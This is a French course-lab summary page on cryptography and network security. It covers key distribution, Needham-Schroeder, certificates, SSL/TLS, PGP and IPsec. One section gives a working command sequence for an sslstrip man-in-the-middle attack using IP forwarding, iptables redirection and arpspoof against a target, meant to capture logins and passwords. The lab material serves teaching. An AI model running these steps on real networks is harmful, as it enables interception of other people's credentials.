Crypto et sécurité de l’information

Ce laboratoire explore les mécanismes fondamentaux de la cryptographie et de la sécurité de l’information, en mettant l’accent sur la gestion des clés symétriques et asymétriques, les protocoles d’authentification, la sécurité du Web via SSL/TLS, les attaques de type man-in-the-middle (notamment sslstrip), ainsi que la sécurité des e-mails avec PGP et la sécurité IP avec IPsec.

D'après le document Crypto et sécurité de l’information

Cet article a été rédigé automatiquement à partir du document source, puis vérifié avant publication.

Document source

Crypto et sécurité de l’information

Cryptography, Information Security · PDF · 73 pages · 2009

Afficher l'aperçu du document

Consulter le document original →

Ce laboratoire explore les mécanismes fondamentaux de la cryptographie et de la sécurité de l’information, en mettant l’accent sur la gestion des clés symétriques et asymétriques, les protocoles d’authentification, la sécurité du Web via SSL/TLS, les attaques de type man-in-the-middle (notamment sslstrip), ainsi que la sécurité des e-mails avec PGP et la sécurité IP avec IPsec. Il nécessite une compréhension préalable des concepts de cryptographie, des protocoles réseau TCP/IP, et des notions de sécurité informatique.

Objectifs

  • Comprendre les méthodes de distribution des clés dans les algorithmes symétriques et asymétriques.
  • Appréhender les protocoles d’authentification et leur rôle dans la sécurité des communications.
  • Analyser le fonctionnement et la sécurisation des communications Web via SSL/TLS.
  • Étudier les attaques man-in-the-middle, en particulier sslstrip, et leurs implications.
  • Découvrir les principes de la sécurité des e-mails avec PGP, notamment pour la confidentialité et l’authentification.
  • Comprendre l’architecture et les services offerts par IPsec pour la sécurité au niveau IP.

Prérequis et installation

  • Connaissances de base en cryptographie (clés symétriques et asymétriques).
  • Familiarité avec les protocoles réseau TCP/IP et HTTP/HTTPS.
  • Environnement informatique permettant d’exécuter des outils réseau (ex : Linux avec iptables, arpspoof, sslstrip).
  • Logiciels ou bibliothèques pour manipuler PGP (ex : GnuPG) et pour observer le trafic réseau.
  • Accès à un navigateur supportant SSL/TLS pour tester HTTPS.

Distribution des clés secrètes dans les algorithmes symétriques

La distribution des clés secrètes est un problème majeur en cryptographie symétrique, car les deux interlocuteurs doivent partager la même clé secrète. Plusieurs méthodes existent :

  • Remise physique de la clé (main à main).
  • Une tierce partie (centre de distribution de clé, KDC) délivre la clé à Alice et Bob.
  • Utilisation d’une ancienne clé pour chiffrer une nouvelle clé.
  • Relais via une ligne sécurisée avec une tierce partie.

On distingue deux types de clés :

  • Clé de session : temporaire, utilisée pour une seule session puis rejetée.
  • Clé principale : utilisée pour chiffrer les clés de session, partagée entre utilisateurs et KDC.

Les protocoles d’authentification permettent de garantir la confidentialité des clés de session et d’empêcher les attaques de type replay en tenant compte du timing.

Un exemple de protocole est celui de Needham-Schroeder, qui distribue une clé de session Ks entre deux entités A et B via un KDC :

1 A -> KDC : IDA || IDB || N1
2 KDC -> A : E(Ka, [Ks || IDB || N1 || E(Kb, [Ks || IDA])])
3 A -> B : E(Kb, [Ks || IDA])
4 B -> A : E(Ks, [N2])
5 A -> B : E(Ks, [f(N2)])

Attention, ce protocole est vulnérable à une attaque par rejeu (replay attack) sur le message de l’étape 3. Pour y remédier, il faut ajouter des timestamps et des nombres aléatoires à usage unique dans les échanges.

Distribution des clés publiques dans les algorithmes asymétriques

La distribution des clés publiques peut se faire par :

  • Annonce publique (ex : diffusion dans des groupes, pièces jointes PGP aux e-mails).
  • Répertoires publics accessibles à tous.
  • Autorités de clé publique (CA) qui émettent des certificats.

Le principal problème de l’annonce publique est la possibilité de contrefaçon : un adversaire peut diffuser une clé publique falsifiée en prétendant être quelqu’un d’autre.

Les certificats, notamment au format X.509, permettent de lier une identité à une clé publique, signés par une autorité de certification (AC). La hiérarchie des AC permet de valider des certificats par chaîne de confiance.

Authentification des utilisateurs : contrôle d’accès

L’authentification est un processus fondamental de sécurité qui vérifie l’identité revendiquée par un système ou un utilisateur. Elle se déroule en deux étapes :

  • Identification : spécification de l’identifiant.
  • Vérification : association de l’identité à l’identifiant.

Les méthodes d’authentification se basent sur :

  • Quelque chose que vous connaissez (mot de passe, PIN).
  • Quelque chose que vous avez (clé physique, jeton, carte à puce).
  • Quelque chose que vous êtes (empreinte digitale, voix, iris).
  • Quelque part où vous êtes (localisation GPS).

Il est conseillé d’utiliser une authentification à deux facteurs ou plus pour renforcer la sécurité.

Sécurité du Web (TCP/IP) : SSL et TLS

Le protocole SSL (Secure Socket Layer), devenu TLS (Transport Layer Security), est un service de sécurité au niveau transport qui fournit une communication sécurisée de bout en bout sur TCP. Il assure :

  • La confidentialité via un cryptage symétrique (AES, DES, 3DES, RC4, etc.) avec une clé partagée négociée lors du handshake.
  • L’intégrité des données via un code d’authentification de message (MAC) avec une clé secrète partagée.

Le protocole SSL Handshake permet au client et au serveur de :

  • S’authentifier mutuellement.
  • Négocier les algorithmes de cryptage et d’intégrité.
  • Échanger les clés cryptographiques.

HTTPS est la combinaison de HTTP et SSL/TLS, utilisant le port 443 et chiffrant l’URL, le contenu, les formulaires, les cookies et les entêtes HTTP.

Attaque Man-in-the-Middle : sslstrip

La sécurité SSL peut être contournée par une attaque man-in-the-middle appelée sslstrip, qui exploite la transition entre une communication non chiffrée (HTTP) et chiffrée (HTTPS). Cette attaque ne casse pas SSL mais intercepte et modifie le trafic pour empêcher l’établissement d’une connexion sécurisée.

Pour reproduire une attaque sslstrip, procédez comme suit :

# Activer le routage IP sur la machine attaquante
echo 1 > /proc/sys/net/ipv4/ip_forward

# Rediriger le trafic HTTP (port 80) vers sslstrip (port 54321)
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 54321

# Démarrer sslstrip sur le port 54321
sslstrip -l 54321

# Configurer ARP spoofing pour intercepter le trafic entre la cible et la passerelle
arpspoof -i eth0 -t <targetIP> <gatewayIP>

# Lancer un sniffer pour collecter les données (logins, mots de passe)

Une connexion HTTPS normale affiche un cadenas dans le navigateur, tandis qu’une connexion sslstripée reste en HTTP sans chiffrement visible, exposant les données sensibles.

Sécurité des e-mails avec PGP

PGP (Pretty Good Privacy) est un logiciel largement utilisé pour protéger la confidentialité, l’authentification, l’intégrité et la non-répudiation des e-mails. Il combine plusieurs algorithmes cryptographiques dans un seul programme, disponible sur plusieurs plateformes.

Les opérations principales sont :

  • Authentification : l’émetteur crée un message, applique un hash SHA-160 bits, signe ce condensé avec RSA, puis joint la signature au message. Le récepteur déchiffre la signature et vérifie le condensé.
  • Confidentialité : l’émetteur génère une clé de session aléatoire 128 bits, chiffre le message avec cette clé, chiffre la clé de session avec RSA, puis joint la clé chiffrée au message. Le récepteur déchiffre la clé de session et l’utilise pour déchiffrer le message.
  • Les deux services peuvent être combinés : signature puis chiffrement du message et de la signature, avec la clé de session chiffrée.

La gestion des clés dans PGP repose sur un réseau de confiance sans autorité centrale. Chaque utilisateur peut signer les clés d’autres utilisateurs qu’il connaît, formant ainsi une chaîne de confiance. Les utilisateurs disposent d’un porte-clés avec des indicateurs de confiance et peuvent révoquer leurs clés.

Sécurité IP avec IPsec

IPsec est un ensemble de protocoles fournissant des services de sécurité au niveau IP, indépendamment des applications. Il assure :

  • L’authentification.
  • La confidentialité (cryptage).
  • La gestion des clés.

IPsec est applicable aux réseaux LAN, WAN, et Internet, et supporte IPv4 et IPv6. Il peut être implémenté dans des pare-feux ou routeurs, offrant une sécurité renforcée et transparente pour les applications et les utilisateurs.

Les services IPsec incluent :

  1. Contrôle d’accès.
  2. Authentification de l’origine des données.
  3. Rejet des paquets répétés.
  4. Intégrité et confidentialité.

Deux modes d’utilisation :

  • Mode transport : chiffre et authentifie les données du datagramme IP, adapté aux communications hôte à hôte.
  • Mode tunnel : chiffre tout le datagramme IP (entête et données), ajoute une nouvelle entête pour le routage, adapté aux VPN et communications passerelle à passerelle.

Les protocoles associés sont :

  • Authentication Header (AH) pour l’authentification.
  • Encapsulating Security Payload (ESP) pour la confidentialité et l’authentification.
  • Internet Key Exchange (IKE) pour la négociation et gestion des clés.

Résultats attendus

  • Compréhension claire des méthodes de distribution des clés symétriques et asymétriques.
  • Capacité à expliquer et simuler le protocole Needham-Schroeder et ses vulnérabilités.
  • Identification des risques liés à la distribution publique des clés et à la falsification.
  • Maîtrise du protocole SSL/TLS, de son handshake, et de la sécurisation HTTPS.
  • Expérience pratique de l’attaque sslstrip et de ses effets sur la sécurité des communications Web.
  • Compréhension des opérations PGP pour assurer confidentialité et authentification des e-mails.
  • Connaissance de l’architecture IPsec, ses modes et services, et de son rôle dans la sécurité réseau.

Pièges courants

  • Confondre authentification d’utilisateur et authentification de message.
  • Omettre les protections contre les attaques par rejeu dans les protocoles d’échange de clés.
  • Ignorer la possibilité de falsification dans la distribution publique des clés.
  • Ne pas vérifier la présence du cadenas HTTPS dans le navigateur, ce qui expose aux attaques sslstrip.
  • Mal configurer les outils réseau (iptables, arpspoof) lors de la simulation d’attaques man-in-the-middle.
  • Penser que PGP utilise une autorité centrale alors que c’est un réseau de confiance décentralisé.
  • Confondre mode transport et mode tunnel dans IPsec, ce qui peut entraîner une mauvaise configuration de la sécurité.

Partager

Commentaires

Aucun commentaire pour le moment. Posez la première question.

Les commentaires sont relus avant publication. Votre e-mail n'est jamais affiché.

← Toutes les révisions